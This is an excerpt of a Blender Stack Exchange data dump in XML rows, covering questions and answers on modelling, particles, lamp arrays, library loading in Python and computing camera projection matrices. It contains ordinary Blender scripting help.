  <row Id="38203" PostTypeId="2" ParentId="38169" CreationDate="2015-09-08T00:21:47.427" Score="1" Body="&lt;p&gt;The standard way to deal with this is to help out the subsurface modifier do its job. You can, for example&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mark your desired hard edges as creases prior to using the subsurf modifier.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can just create edge loops near your curves to control how sharp they should be, so that subsurf doesn't oversmooth them.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See this youtube video &quot;Tutorial: Sharp Edges on Smooth Objects&quot;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=HgzmSnQt0bQ&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=HgzmSnQt0bQ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a Blender expert in any way, but I hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="16590" LastActivityDate="2015-09-08T00:21:47.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38204" PostTypeId="1" AcceptedAnswerId="38209" CreationDate="2015-09-08T01:04:40.967" Score="1" ViewCount="1108" Body="&lt;p&gt;I have a .blend file that has a house group in it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pBXgd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pBXgd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like my script to be able to extract the house group from that file, then make duplicates of it in the current scene. I want to be able to position the duplicates etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest I could find is getting the meshes in the .blend file, here:&#xA;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_release/bpy.types.BlendDataLibraries.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blender.org/api/blender_python_api_2_72_release/bpy.types.BlendDataLibraries.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filepath = dir + &quot;/somewhere/myHouseModel.blend&quot;;&#xA;&#xA;with bpy.data.libraries.load(filepath) as (data_from, data_to):&#xA;    data_to.meshes = data_from.meshes&#xA;        for mesh in data_to.meshes:&#xA;            if mesh is not None:&#xA;                print(&quot;Mesh name: %s&quot; % (mesh));&#xA;                ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suppose I could do something to just extract the meshes and work with that, but it would be nicer to properly link to the group. This is how I had it working manually in a standalone blend scene, so I'd like to mimic it via my python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any help&lt;/p&gt;&#xA;" OwnerUserId="17978" LastActivityDate="2015-09-08T03:17:46.770" Title="Import group from external blend file" Tags="&lt;python&gt;&lt;groups&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38205" PostTypeId="1" AcceptedAnswerId="38206" CreationDate="2015-09-08T01:20:51.753" Score="4" ViewCount="617" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/03FuO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/03FuO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the image above, I would like to replicate this setup but with spotlights rather than cones. Basically I need an &quot;array&quot; of lamps, but lamps do not support modifiers. So by looking a bit online, I found that the only way to do an &quot;array&quot; of lamps was to use dupliverts. Now dupliverts would work well if I needed them all to point in the same direction, but they point away from one another. Usually with a mesh, I would set up my tracking axes correctly and then rotate my child object and apply its rotation, to get the result you see on the picture. However with spotlights, even if you CAN rotate it, you cannot APPLY its rotation (error message &quot;Objects have no data to transform&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this setup?&lt;/p&gt;&#xA;" OwnerUserId="14972" LastActivityDate="2015-09-09T09:26:08.920" Title="Spot lamp rotation and dupliverts" Tags="&lt;mesh&gt;&lt;objects&gt;&lt;transforms&gt;&lt;light&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38206" PostTypeId="2" ParentId="38205" CreationDate="2015-09-08T02:12:33.960" Score="3" Body="&lt;h2&gt;1) Dupliverts + Origin offest&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For your particular situation, where your base geometry is made by vertex and edges only you can obtain the effect by &lt;strong&gt;shifting&lt;/strong&gt; the object's origin from the geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ldT70.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ldT70.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you don't have faces but ony edges and vertex, vertex normals (which is the vector that the lamp will follow, blue in animated the image below) is always directed as the &lt;strong&gt;origin-to-vertex&lt;/strong&gt; vector is, letting you achieve the desired result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XsRHS.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XsRHS.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;2) Duplifaces&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As moving the origin may not be suitable for all the kind of workflows, you can &lt;strong&gt;duplifaces&lt;/strong&gt; instead of &lt;strong&gt;dupliverts&lt;/strong&gt;. You'll have more controle on the faces normals, which is the vector that your lamps will point to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/S9ktQ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/S9ktQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the picture below you can see the target shape in orange, and in vivid yellow (active object) the shape parented with the lamp. It's the same shape, rotated by (360/6)/2=30° and scaled a bit to get the center of the face overlayed with the target shape vertices. Faces were created by extruding the edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XYoK3.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XYoK3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adjusting the Z difference between the innee and outer boundary edgeloop will give you full control of the lamps orientation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/479/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=479&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;3) Particle System&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Emit particles by mesh's vertex, one for each (in your case the number must be 6) without any randomness (we must be sure to have one, and just one lamp for each vertex). Set Size=1 and &lt;strong&gt;Rotation&lt;/strong&gt; checkbox enabled. Than rotate the Lamp on its &lt;strong&gt;Y axis&lt;/strong&gt; by the choosen factor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/d0740.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d0740.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-09-09T09:26:08.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38207" PostTypeId="1" AcceptedAnswerId="38211" CreationDate="2015-09-08T02:45:57.867" Score="13" ViewCount="8099" Body="&lt;p&gt;Is it possible to change a particle's color to the color of the face/texture part it comes out of in cycles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want it to be the color of the face after shading and all that other stuff &lt;/p&gt;&#xA;" OwnerUserId="17982" LastEditorUserId="15140" LastEditDate="2015-09-08T10:32:03.653" LastActivityDate="2015-09-08T12:29:10.697" Title="Particle Color based on where the particle is emitted?" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38208" PostTypeId="1" AcceptedAnswerId="38460" CreationDate="2015-09-08T02:47:14.257" Score="5" ViewCount="3035" Body="&lt;p&gt;I'm looking to run a SLAM algorithm over images generated from blender but I need to know the intrinsic properties of the camera. I've taken a brief look at the python api and there doesn't seem to be a way to find out the distortion coefficients of the camera, I specifically need k1 k2 p1 p2 k3 (The radial and tangential distortion). Can anyone point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Sam&lt;/p&gt;&#xA;" OwnerUserId="17980" LastActivityDate="2020-04-22T11:18:20.047" Title="Distortion Coefficients and Camera intrinsic of blender's cameras?" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38209" PostTypeId="2" ParentId="38204" CreationDate="2015-09-08T03:17:46.770" Score="1" Body="&lt;p&gt;This loads group &quot;Head&quot; from file mouth.blend.  The group can be added to the scene as a group instance.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;with bpy.data.libraries.load(&quot;/home/batfinger/3DModels/mouth.blend&quot;) as (df, dt):&#xA;    dt.groups = ['Head']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your case you will load group &quot;house00&quot; from file myHouseModel.blend&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to add a group instance is covered here &lt;a href=&quot;https://blender.stackexchange.com/questions/30737/add-a-group-instance-with-python&quot;&gt;Add a group instance with python&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15543" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-09-08T03:17:46.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38210" PostTypeId="2" ParentId="38009" CreationDate="2015-09-08T03:29:14.923" Score="27" Body="&lt;p&gt;I wrote the function get_3x4_RT_matrix_from_blender to do this, listed below.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bpy_extras&#xA;from mathutils import Matrix&#xA;from mathutils import Vector&#xA;&#xA;#---------------------------------------------------------------&#xA;# 3x4 P matrix from Blender camera&#xA;#---------------------------------------------------------------&#xA;&#xA;# Build intrinsic camera parameters from Blender camera data&#xA;#&#xA;# See notes on this in &#xA;# blender.stackexchange.com/questions/15102/what-is-blenders-camera-projection-matrix-model&#xA;def get_calibration_matrix_K_from_blender(camd):&#xA;    f_in_mm = camd.lens&#xA;    scene = bpy.context.scene&#xA;    resolution_x_in_px = scene.render.resolution_x&#xA;    resolution_y_in_px = scene.render.resolution_y&#xA;    scale = scene.render.resolution_percentage / 100&#xA;    sensor_width_in_mm = camd.sensor_width&#xA;    sensor_height_in_mm = camd.sensor_height&#xA;    pixel_aspect_ratio = scene.render.pixel_aspect_x / scene.render.pixel_aspect_y&#xA;    if (camd.sensor_fit == 'VERTICAL'):&#xA;        # the sensor height is fixed (sensor fit is horizontal), &#xA;        # the sensor width is effectively changed with the pixel aspect ratio&#xA;        s_u = resolution_x_in_px * scale / sensor_width_in_mm / pixel_aspect_ratio &#xA;        s_v = resolution_y_in_px * scale / sensor_height_in_mm&#xA;    else: # 'HORIZONTAL' and 'AUTO'&#xA;        # the sensor width is fixed (sensor fit is horizontal), &#xA;        # the sensor height is effectively changed with the pixel aspect ratio&#xA;        pixel_aspect_ratio = scene.render.pixel_aspect_x / scene.render.pixel_aspect_y&#xA;        s_u = resolution_x_in_px * scale / sensor_width_in_mm&#xA;        s_v = resolution_y_in_px * scale * pixel_aspect_ratio / sensor_height_in_mm&#xA;    &#xA;&#xA;    # Parameters of intrinsic calibration matrix K&#xA;    alpha_u = f_in_mm * s_u&#xA;    alpha_v = f_in_mm * s_v&#xA;    u_0 = resolution_x_in_px * scale / 2&#xA;    v_0 = resolution_y_in_px * scale / 2&#xA;    skew = 0 # only use rectangular pixels&#xA;&#xA;    K = Matrix(&#xA;        ((alpha_u, skew,    u_0),&#xA;        (    0  , alpha_v, v_0),&#xA;        (    0  , 0,        1 )))&#xA;    return K&#xA;&#xA;# Returns camera rotation and translation matrices from Blender.&#xA;# &#xA;# There are 3 coordinate systems involved:&#xA;#    1. The World coordinates: &amp;quot;world&amp;quot;&#xA;#       - right-handed&#xA;#    2. The Blender camera coordinates: &amp;quot;bcam&amp;quot;&#xA;#       - x is horizontal&#xA;#       - y is up&#xA;#       - right-handed: negative z look-at direction&#xA;#    3. The desired computer vision camera coordinates: &amp;quot;cv&amp;quot;&#xA;#       - x is horizontal&#xA;#       - y is down (to align to the actual pixel coordinates &#xA;#         used in digital images)&#xA;#       - right-handed: positive z look-at direction&#xA;def get_3x4_RT_matrix_from_blender(cam):&#xA;    # bcam stands for blender camera&#xA;    R_bcam2cv = Matrix(&#xA;        ((1, 0,  0),&#xA;         (0, -1, 0),&#xA;         (0, 0, -1)))&#xA;&#xA;    # Transpose since the rotation is object rotation, &#xA;    # and we want coordinate rotation&#xA;    # R_world2bcam = cam.rotation_euler.to_matrix().transposed()&#xA;    # T_world2bcam = -1*R_world2bcam * location&#xA;    #&#xA;    # Use matrix_world instead to account for all constraints&#xA;    location, rotation = cam.matrix_world.decompose()[0:2]&#xA;    R_world2bcam = rotation.to_matrix().transposed()&#xA;&#xA;    # Convert camera location to translation vector used in coordinate changes&#xA;    # T_world2bcam = -1*R_world2bcam*cam.location&#xA;    # Use location from matrix_world to account for constraints:     &#xA;    T_world2bcam = -1*R_world2bcam @ location&#xA;&#xA;    # Build the coordinate transform matrix from world to computer vision camera&#xA;    # NOTE: Use * instead of @ here for older versions of Blender&#xA;    # TODO: detect Blender version&#xA;    R_world2cv = R_bcam2cv@R_world2bcam&#xA;    T_world2cv = R_bcam2cv@T_world2bcam&#xA;&#xA;    # put into 3x4 matrix&#xA;    RT = Matrix((&#xA;        R_world2cv[0][:] + (T_world2cv[0],),&#xA;        R_world2cv[1][:] + (T_world2cv[1],),&#xA;        R_world2cv[2][:] + (T_world2cv[2],)&#xA;         ))&#xA;    return RT&#xA;&#xA;def get_3x4_P_matrix_from_blender(cam):&#xA;    K = get_calibration_matrix_K_from_blender(cam.data)&#xA;    RT = get_3x4_RT_matrix_from_blender(cam)&#xA;    return K@RT, K, RT&#xA;&#xA;# ----------------------------------------------------------&#xA;# Alternate 3D coordinates to 2D pixel coordinate projection code&#xA;# adapted from https://blender.stackexchange.com/questions/882/how-to-find-image-coordinates-of-the-rendered-vertex?lq=1&#xA;# to have the y axes pointing up and origin at the top-left corner&#xA;def project_by_object_utils(cam, point):&#xA;    scene = bpy.context.scene&#xA;    co_2d = bpy_extras.object_utils.world_to_camera_view(scene, cam, point)&#xA;    render_scale = scene.render.resolution_percentage / 100&#xA;    render_size = (&#xA;            int(scene.render.resolution_x * render_scale),&#xA;            int(scene.render.resolution_y * render_scale),&#xA;            )&#xA;    return Vector((co_2d.x * render_size[0], render_size[1] - co_2d.y * render_size[1]))&#xA;&#xA;# ----------------------------------------------------------&#xA;if __name__ == &amp;quot;__main__&amp;quot;:&#xA;    # Insert your camera name here&#xA;    cam = bpy.data.objects['Camera.001']&#xA;    P, K, RT = get_3x4_P_matrix_from_blender(cam)&#xA;    print(&amp;quot;K&amp;quot;)&#xA;    print(K)&#xA;    print(&amp;quot;RT&amp;quot;)&#xA;    print(RT)&#xA;    print(&amp;quot;P&amp;quot;)&#xA;    print(P)&#xA;&#xA;    print(&amp;quot;==== Tests ====&amp;quot;)&#xA;    e1 = Vector((1, 0,    0, 1))&#xA;    e2 = Vector((0, 1,    0, 1))&#xA;    e3 = Vector((0, 0,    1, 1))&#xA;    O  = Vector((0, 0,    0, 1))&#xA;&#xA;    p1 = P @ e1&#xA;    p1 /= p1[2]&#xA;    print(&amp;quot;Projected e1&amp;quot;)&#xA;    print(p1)&#xA;    print(&amp;quot;proj by object_utils&amp;quot;)&#xA;    print(project_by_object_utils(cam, Vector(e1[0:3])))&#xA;&#xA;    p2 = P @ e2&#xA;    p2 /= p2[2]&#xA;    print(&amp;quot;Projected e2&amp;quot;)&#xA;    print(p2)&#xA;    print(&amp;quot;proj by object_utils&amp;quot;)&#xA;    print(project_by_object_utils(cam, Vector(e2[0:3])))&#xA;&#xA;    p3 = P @ e3&#xA;    p3 /= p3[2]&#xA;    print(&amp;quot;Projected e3&amp;quot;)&#xA;    print(p3)&#xA;    print(&amp;quot;proj by object_utils&amp;quot;)&#xA;    print(project_by_object_utils(cam, Vector(e3[0:3])))&#xA;&#xA;    pO = P @ O&#xA;    pO /= pO[2]&#xA;    print(&amp;quot;Projected world origin&amp;quot;)&#xA;    print(pO)&#xA;    print(&amp;quot;proj by object_utils&amp;quot;)&#xA;    print(project_by_object_utils(cam, Vector(O[0:3])))&#xA;    &#xA;    # Bonus code: save the 3x4 P matrix into a plain text file&#xA;    # Don't forget to import numpy for this&#xA;    nP = numpy.matrix(P)&#xA;    numpy.savetxt(&amp;quot;/tmp/P3x4.txt&amp;quot;, nP)  # to select precision, use e.g. fmt='%.2f'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1&gt;Detailed Tests&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I included some helper functions and tests to cross-check the 3D-2D projection process with another approach using world_to_camera_view from @ideasman42's answer to &lt;a href=&quot;https://blender.stackexchange.com/questions/882/how-to-find-image-coordinates-of-the-rendered-vertex&quot;&gt;How to find image coordinates of the rendered vertex?&lt;/a&gt; The floating point coordinates match up perfectly up to many decimal places. To get the integer pixel coordinates after projection, just round them.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I tested this visually and analytically with a few scenes, to make sure both routines were exactly correct on actual rendered images.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I represented e1, e2, e3 and O with small cone objects whose tips were at the desired positions&#xA;and coded with different colors: Red for X, Green for Y, Blue for Z&lt;/li&gt;&#xA;&lt;li&gt;I placed the camera at a convenient location at first,&#xA;R = identity, T = (0,0,5)&lt;/li&gt;&#xA;&lt;li&gt;I used default Blender parameters for the camera intrinsics&lt;/li&gt;&#xA;&lt;li&gt;I computed the P matrix by hand and computed it using my rountines and they match perfectly&lt;/li&gt;&#xA;&lt;li&gt;Visually comparing both the Cycles render and the OpenGL render in GIMP show that the produced coordinates match well visually (up to perhaps +- 1 pixel error, which is the sort of thing this careful testing was carried out anyways - to be investigated).&lt;/li&gt;&#xA;&lt;li&gt;I then arbitrarily rotated and translated the camera such that the world e1, e2, e3 remain visible and at general locations. The projections match visually in the rendered images, and also match to the ones given by the object utils routine given above.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Here is an example of a test output:&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;  K&#xA;&amp;lt;Matrix 3x3 (2100.0000,    0.0000, 960.0000)&#xA;            (   0.0000, 2100.0000, 540.0000)&#xA;            (   0.0000,    0.0000,   1.0000)&amp;gt;&#xA;RT&#xA;&amp;lt;Matrix 3x4 (-0.0594, -0.9483, -0.3118, -0.6837)&#xA;            ( 0.6234,  0.2087, -0.7536, -0.1887)&#xA;            ( 0.7797, -0.2391,  0.5787,  4.2599)&amp;gt;&#xA;P&#xA;&amp;lt;Matrix 3x4 ( 623.8236, -2220.9482,   -99.1637, 2653.7441)&#xA;            (1730.0916,   309.2392, -1269.9426, 1904.1343)&#xA;            (   0.7797,    -0.2391,     0.5787,    4.2599)&amp;gt;&#xA;==== Tests ====&#xA;Projected e1&#xA;&amp;lt;Vector (650.3716, 721.1436, 1.0000)&amp;gt;&#xA;proj by object_utils&#xA;&amp;lt;Vector (650.3716, 721.1436)&amp;gt;&#xA;Projected e2&#xA;&amp;lt;Vector (107.6402, 550.4857, 1.0000)&amp;gt;&#xA;proj by object_utils&#xA;&amp;lt;Vector (107.6403, 550.4857)&amp;gt;&#xA;Projected e3&#xA;&amp;lt;Vector (527.9586, 131.0692, 1.0000)&amp;gt;&#xA;proj by object_utils&#xA;&amp;lt;Vector (527.9586, 131.0693)&amp;gt;&#xA;Projected world origin&#xA;&amp;lt;Vector (622.9655, 446.9949, 1.0000)&amp;gt;&#xA;proj by object_utils&#xA;&amp;lt;Vector (622.9656, 446.9949)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is the test set with the blender rotation and location for the camera.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/porxN.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/porxN.png&quot; alt=&quot;the blender extrisics setting for a test (intrinsics are the default camera parameters when adding a camera)&quot; /&gt;&lt;/a&gt;&#xA;Here is the OpenGL render. The coordinates output above match the tip of the cones visually (up to +- 1 px error, perhaps due to aliasing).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LiMiF.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LiMiF.png&quot; alt=&quot;the OpenGL render to certify that the pixel coordinates at the tip of the cones match the ones provided by the constructed 3x4 P matrix&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Limitations&lt;/strong&gt;: this code currently does not support certain intrinsic camera parameter configurations, see my answer to &lt;a href=&quot;https://blender.stackexchange.com/questions/15102/what-is-blenders-camera-projection-matrix-model&quot;&gt;What is blender&amp;#39;s camera projection matrix model?&lt;/a&gt; for a list of the limitations to &lt;code&gt;get_calibration_matrix_K_from_blender&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Object coordinates&lt;/strong&gt;: to deal with object coordinates, first transform to world coordinates, see my answer to &lt;a href=&quot;https://blender.stackexchange.com/questions/882/how-to-find-image-coordinates-of-the-rendered-vertex&quot;&gt;How to find image coordinates of the rendered vertex?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Matrix multiplication used to be&lt;/em&gt; * &lt;em&gt;before Blender 2.8, newer versions use @ instead&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="16590" LastEditorUserId="16590" LastEditDate="2020-07-08T09:58:56.923" LastActivityDate="2020-07-08T09:58:56.923" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="38211" PostTypeId="2" ParentId="38207" CreationDate="2015-09-08T03:35:06.927" Score="20" Body="&lt;h2&gt;Texture coordinates from Dupli&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can make your particles materials inherit the Emitting Object's UV Coordinates to project the texture onto your particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simply unwrap the parent object (particle emitter in your case) and with the Texture Coordinates node set as in the picture, you'll be able to acces to the coordinates of the UV map of the surface point where the particle is born.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QrH0G.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QrH0G.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/w79GC.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/w79GC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/480/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=480&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By assigning the same material to the Emitter an Particles and using the texture as a shader mask you'll be able to achieve a perfect correspondecy between the objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sunUI.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sunUI.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above you can see a plane initially emitting diffusive blue particles, than some areas of the surface switch to glossy-pink shading and particles follow this change because the material is the same.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-09-08T12:29:10.697" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="38212" PostTypeId="1" AcceptedAnswerId="38217" CreationDate="2015-09-08T03:51:01.463" Score="2" ViewCount="2822" Body="&lt;p&gt;hi im looking for correct context attribute to toggle on / off with shortcut key at input editor&#xA;XRAY armature because i find use it often and decided to make it as shortcut&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XbZMB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XbZMB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i tried the following context attribute but gives error&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;active_object.data.show_x_ray&lt;/li&gt;&#xA;&lt;li&gt;Object.Show_x_ray&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;thank you for answers&lt;/p&gt;&#xA;" OwnerUserId="17983" LastActivityDate="2015-09-08T10:22:16.767" Title="wm.context_toggle for Toggle On / Off X-RAY Armature ( Context attribute )" Tags="&lt;shortcut&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38213" PostTypeId="2" ParentId="882" CreationDate="2015-09-08T03:58:33.260" Score="4" Body="&lt;p&gt;An alternative way to @ideasman42's answer is to first create a 3x4 P matrix (as used in computer vision) from blender's camera parameters and use that to project. This might be convenient for you since you seem to be doing computer vision work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the function get_3x4_RT_matrix_from_blender listed in my answer to &lt;a href=&quot;https://blender.stackexchange.com/questions/38009/3x4-camera-matrix-from-blender-camera&quot;&gt;3x4 camera matrix from blender camera&lt;/a&gt; to generate a P matrix, then project. For instance: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Insert your camera name here&#xA;cam = bpy.data.objects['Camera.001']&#xA;P = get_3x4_P_matrix_from_blender(cam)&#xA;e1 = Vector((1, 0,    0, 1))&#xA;p1 = P * e1&#xA;p1 /= p1[2]&#xA;print(&quot;Projected e1&quot;)&#xA;print(p1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For vertices in the object's local coordinates, you will have to first transform them to world coordinates. Here's a sketch of how to do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;location, rotation, scale = obj.matrix_world.decompose()&#xA;R = rotation.to_matrix().transposed();&#xA;p = R*scale*vertex_local_coordinates + location&#xA;# now apend coordinate 1 to p, use P*p then divide by 3rd coordinate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can compare that to @ideasman42's code which I made into a function &#xA;project_by_object_utils(cam, point) (see my answer to &lt;a href=&quot;https://blender.stackexchange.com/questions/38009/3x4-camera-matrix-from-blender-camera&quot;&gt;3x4 camera matrix from blender camera&lt;/a&gt;). Both routines return exactly the same coordinates up to many decimal places.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Note: The origin is at the top-left corner and image y axis pointing down.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16590" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-09-13T02:05:55.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38214" PostTypeId="2" ParentId="38095" CreationDate="2015-09-08T05:15:09.720" Score="0" Body="&lt;p&gt;Parent the &quot;follower&quot; object to the object to follow. Unless you animate with armature and shape keys, the follower will inherit all transformations from it's parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case of armatures you treat the follower the same way as other skin meshes by deform parenting them to the armature. Indeed the vertex groups should be set accordingly.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-09-08T05:15:09.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
